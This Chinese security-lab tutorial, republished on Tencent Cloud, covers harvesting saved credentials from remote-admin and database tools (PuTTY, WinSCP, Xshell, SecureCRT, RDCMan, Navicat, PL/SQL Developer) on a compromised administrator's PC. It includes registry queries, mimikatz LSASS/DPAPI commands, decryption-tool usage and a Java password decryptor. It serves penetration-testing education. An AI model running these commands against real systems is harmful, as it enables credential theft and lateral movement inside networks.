前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >获取远程管理软件保存的凭据

获取远程管理软件保存的凭据

作者头像
Ms08067安全实验室
发布2024-03-22 17:49:46
2210
发布2024-03-22 17:49:46
举报

内网敏感数据的发现

内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。本文重点介绍如何快速定位个人计算机,并对计算机操作系统信息、浏览器登录和使用的历史记录、用户文件操作行为以及聊天软件对话内容等信息进行收集。因此,了解攻击者的操作流程,对内网数据安全防护工作至关重要。

01

获取远程管理软件保存的凭据

当我们定位并控制了一台网络管理员或者DBA的个人机后,可以分析其常用的远程管理软件,然后尝试破解其保存在软件内的凭证,从而快速获取管理员拥有的各种权限,进一步控制目标网络。

PuTTY

PuTTY是一个Windows平台的Telnet、SSH、rlogin、纯TCP以及串行接口连接软件。下载地址为:https://www.chiark.greenend.org.uk/~sgtatham/putty/。

PuTTY的连接记录保存在注册表中,默认情况下不支持保存密码:

#连接记录

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

#保存的会话

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions

注册表保存的信息样例如图所示:

PuTTY注册表保存信息

我们可以使用下面的命令查看当前用户的连接记录:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys

下面命令可以查看所有用户的连接记录(需要管理员权限):

for /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get sid') do reg query HKEY_USERS\%c\Software\SimonTatham\PuTTY\SshHostKeys

WinSCP

WinSCP是一个Windows环境下使用SSH协议的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。下载地址: https://winscp.net/eng/index.php

管理员如果选择了记住密码,则密码保存在注册表中或者WinSCP.ini中:

# 注册表

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

# 配置文件常见位置

C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系 统)

C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统) C:\Users\%USERNAME%\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统)

C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

c:\Users\%username%\documents\

注册表保存的信息,如图所示:

WinSCP注册表保存信息

我们可以使用winscppwd.exe对保存的密码进行解密,如图2-57所示,工具地址https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml

Usage:

winscppwd.exe [user host pwd|path/to/winscp.ini]

Examples:

winscppwd.exe foo example.com 0123456789ABCDEF

winscppwd.exe /tmp/winscp.ini

winscppwd.exe解密WinSCP密码

Xmangager系列产品

Xshell 是一个用于 MS Windows 平台的强大的 SSH, TELNET 和 RLOGIN 终端仿真软件。它使得用户能轻松和 安全地从 Windows PC 上访问 UniX/LinuX 主机。

Xftp 是一个用于 MS Windows 平台的强大的 FTP 和 SFTP 文件传输程序。Xftp 能安全地在 UniX/LinuX 和 Windows PC 之间传输文件。

不同版本配置文件保存路径有所不同,具体如下:

Product

Session File Location

XShell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

XFtp 5

%userprofile%\Documents\NetSarang\Xftp\Sessions

XShell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

XFtp 6

%userprofile%\Documents\NetSarang Computer\6\Xftp\Sessions

对于Xmangager保存的密码,我们可以使用Xdecrypt.py进行解密,如图所示,工具下载地址为https://github.com/dzxs/Xdecrypt:

usage: Xdecrypt.py [-h] [-s SID] [-p PASSWORD]

xsh, xfp password decrypt

optional arguments:

-h, --help show this help message and exit

-s SID, --sid SID `username`+`sid`, user `whoami /user` in command.

-p PASSWORD, --password PASSWORD

the password in sessions or path of sessions

Xmangager产品密码解密

SecureCRT

Secure CRT 是一款 SSH 客户端软件,为 Windows、Mac 和 Linux 提供了终端模拟,通过先进的会话管理和 一系列节省时间和简化重复性任务的方法来提高生产力。SecureCRT 为你组织中的每个人提供安全的远程访问、文件传输和数据隧道。

SecureCRT配置文件保存路径如下:

%APPDATA%\VanDyke\Config\Sessions\sessionname.ini

# xp/Win2003

C:\Documents and Settings\%USERNAME%\Application Data\VanDyke\Config\Sessions

# Win7/win2008以上

C:\Users\%USERNAME%\AppData\Roaming\VanDyke\Config\Sessions

密文格式不同版本也有所不同:

#7.3.3之前

S:"Password"=c71bd1c86f3b804e42432f53247c50d9287f410c7e59166969acab69daa6eaadbe15c0c54c0e076e945 a6d82f9e13df2

#7.3.3之后

S:"Password V2"= 02:7b9f594a1f39bb36bbaa0d9688ee38b3d233c67b338e20e2113f2ba4d328b6fc8c804e3c02324b1eaad57a5b96ac1 fc5cc1ae0ee2930e6af2e5e644a28ebe3fc

对于7.x及以下版本,可以使用SecureCRTCipher.py进行解密,如图2-59所示,下载地址;https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/python3/SecureCRTCipher.py

$ ./SecureCRTCipher.py

Usage:

SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>

<enc|dec> "enc" for encryption, "dec" for decryption.

This parameter must be specified.

[-v2] Encrypt/Decrypt with "Password V2" algorithm.

This parameter is optional.

[-p ConfigPassphrase] The config passphrase that SecureCRT uses.

This parameter is optional.

<plaintext|ciphertext> Plaintext string or ciphertext string.

NOTICE: Ciphertext string must be a hex string.

This parameter must be specified.

SecureCRT 7.x以下密码解密

如果上面的脚本无法解密,也可以尝试使用另一个工具SecureCRT-decryptpass.py进行解密,如图所示,下载地址为:

https://github.com/gitPoc32/Forensic/blob/master/VanDykeSecureCRT/SecureCRT-decryptpass.py

使用SecureCRT-decryptpass.py解密密码

另外,对于高版本,可以把%APPDATA%\VanDyke\Config\整个目录拷贝到本机SecureCRT的Config目录下,然后直接连接。但需要注意的是版本要与目标主机使用的一致,否则可能出问题。

RDCMan

Remote Desktop Connection Manager (RDCMan) 是微软Windows Live体验团队的主要开发者 Julian Burger开发的一个远程桌面管理工具。简称为RDCMan。RDCMan可以集中管理、分类、组织远程桌面,相比Windows系统自带的远程桌面连接工具mstsc.exe要方便、省时的多。

RDCMan可以将连接的远程桌面信息保存为rdg文件。rdg文件内记录了目标IP、端口、登录所用用户名以及经过DPAPI加密的密码密文。

可以在目标主机使用mimikatz进行解密,如图所示:

在线解密RDCMan密码

也可以在获取masterkry后离线解密,如图所示:

离线解密RDCMan密码

我们可以使用Mimikatz从LSASS进程内存提取Master Key(需管理员权限),如图所示:

mimikatz.exe

privilege::debug

sekurlsa::dpapi

exit

Master Key提取

Navicat

Navicat是管理员常用的数据库工具,NavicatPremium支持MySQL,MariaDB,Oracle,SQLite, PostgreSQL和Microsoft SQL Server 多种数据库的连接。

Navicat连接凭证存储在注册表中:

Database Type

Path

MySQL

HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\ <your connection name>

MariaDB

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\ <your connection name>

MongoDb

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\ <your connection name>

Microsoft SQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\ <your connection name>

Oracle

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\ <your connection name>

PostgreSQL

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\ <your connection name>

SQLite

HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\ <your connection name>

注册表保存的信息样例如下,如图所示:

Navicat注册表保存信息

我们可以使用NavicatCrypto.py对保存的密码进行解密,如图2-65所示,工具下载地址为:

https://github.com/HyperSine/how-does-navicat-encrypt-password/blob/master/python3/NavicatCipher.py

Usage:

NavicatCrypto.py <enc|dec> [-ncx] <plaintext|ciphertext>

<enc|dec>

[-ncx]

<plaintext|ciphertext>

"enc" for encryption, "dec" for decryption.

This parameter must be specified.

Indicate that plaintext/ciphertext is

prepared for/exported from NCX file.

This parameter is optional.

Plaintext string or ciphertext string.

NOTICE: Ciphertext string must be a hex string.

This parameter must be specified.

Navicat密码解密

PL/SQL Developer

PL/SQL Developer是一个集成开发环境,专门面向Oracle数据库存储程序单元的开发。如今,有越来越多的 商业逻辑和应用逻辑转向了Oracle Server,因此,PL/SQL编程也成了整个开发过程的一个重要组成部分。PL/SQL Developer侧重于易用性、代码品质和生产力,充分发挥Oracle应用程序开发过程中的主要优势。

PL/SQL Developer的凭据保存在如下路径的user.prefs文件的 [LogonHistory] 信息中:

C:\Users\%username%\AppData\Roaming\PLSQL Developer\Preferences\%username%\

C:\Program Files\PLSQL Developer\Preferences\%username%\

C:\Program Files (x86)\PLSQL Developer\Preferences\%username%\

每一行即为一个登录信息,这些信息是加密的,其明文格式如下为 username/password@server。

对于PL/SQL Developer的密码,我们可以使用下面的脚本进行解密,如图所示:

代码语言:text
复制
import java.util.ArrayList;
public class decrypt {
public static void decryptPassword(){
        String cryptText = "27364466441245823088463445483550317630583164315848803226352432463480326634363286";
        String plainText = "";
        ArrayList<Integer> values = new ArrayList<Integer>();
        for (int i = 0; i < cryptText.length(); i+= 4){
            values.add(Integer.parseInt((cryptText.substring(i, i + 4))));
        }
        int key = values.get(0);
        values.remove(0);
        for (int i = 0; i < values.size(); i++) {
            int val = values.get(i) - 1000;
            int mask = key + (10 * (i + 1));
            int res = (val ^ mask) >> 4;
            plainText += Character.toString((char)(res));
        }
        System.out.println("plainText:"+plainText);
    }
    public static void main(String[] args) {
        decryptPassword();
    }
 }

PL/SQL Developer密码解密

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-03-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • PuTTY
  • WinSCP
  • Xmangager系列产品
  • SecureCRT
  • RDCMan
  • Navicat
  • PL/SQL Developer
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档